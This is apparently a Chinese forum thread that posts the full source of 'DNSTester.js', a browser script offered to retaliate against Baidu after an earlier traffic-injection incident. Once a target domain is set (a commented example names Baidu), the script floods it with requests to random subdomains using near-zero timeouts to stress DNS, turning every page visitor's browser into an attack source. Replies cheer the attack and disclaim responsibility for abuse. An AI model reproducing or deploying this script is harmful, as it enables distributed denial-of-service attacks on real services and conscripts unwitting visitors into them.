百度前几天的龌龊事大家都知道了。
狂欢?带我一个。
https://github.com/cnbeining/DNSTester.js
打回去吧。
代码下面。
/*! * DNSTester.js 0.0.1 * https://github.com/cnbeining/DNSTester.js * http://www.cnbeining.com/ * * Includes jQuery * http://jquery.com/ * * Copyright 2015 Beining * Released under the GNU GENERAL PUBLIC LICENSE Version 2 * https://github.com/cnbeining/DNSTester.js/blob/master/LICENSE * */ document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>"); !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>"); startime = (new Date).getTime(); var count = 0; function unixtime() { var a = new Date; return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 } function makeid(length) { var text = ""; var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; for( var i=0; i < length; i++ ) text += possible.charAt(Math.floor(Math.random() * possible.length)); text = "https://" + text + DOMAIN //In case you put me in HTTPS sites return text; } NUM = 1; function r_send2() { get(makeid(Math.floor((Math.random() * 64) + 1))) // NEVER FORGET } function get(a) { var b; $.ajax({ url: a, dataType: "script", timeout: 1E-4, //So fail immediately, but good enough to stress DNS cache: !0, beforeSend: function() { requestTime = (new Date).getTime() }, complete: function() { responseTime = (new Date).getTime(); b = Math.floor(responseTime - requestTime); 3E5 > responseTime - startime && (r_send(b), count += 1) } }) } function r_send(a) { setTimeout("r_send2()", a) } //var DOMAIN = ".baidu.com/" // Change me! //setTimeout("r_send2()", 1E-2); // Change speed here!
这代码看得好熟悉啊……好像在别的什么地方看过(误
(话说 new Date 不应该写作 new Date() 么?)
真是奇怪,我也在别的地方看过呢(
我不懂JS,代码都是瞎写和抄的,有问题直接pull request,不用和我废话了,我不懂的。。。
才反应过来,前几天原来百度背锅了……
要是GFW够牛B,帮百度把攻击流量挡下来啊。
这不就落人口实了么~
我不为abuse负责哦~
蛤蛤蛤
必须往死里揍他。
GFW算是怂了。跌份啊。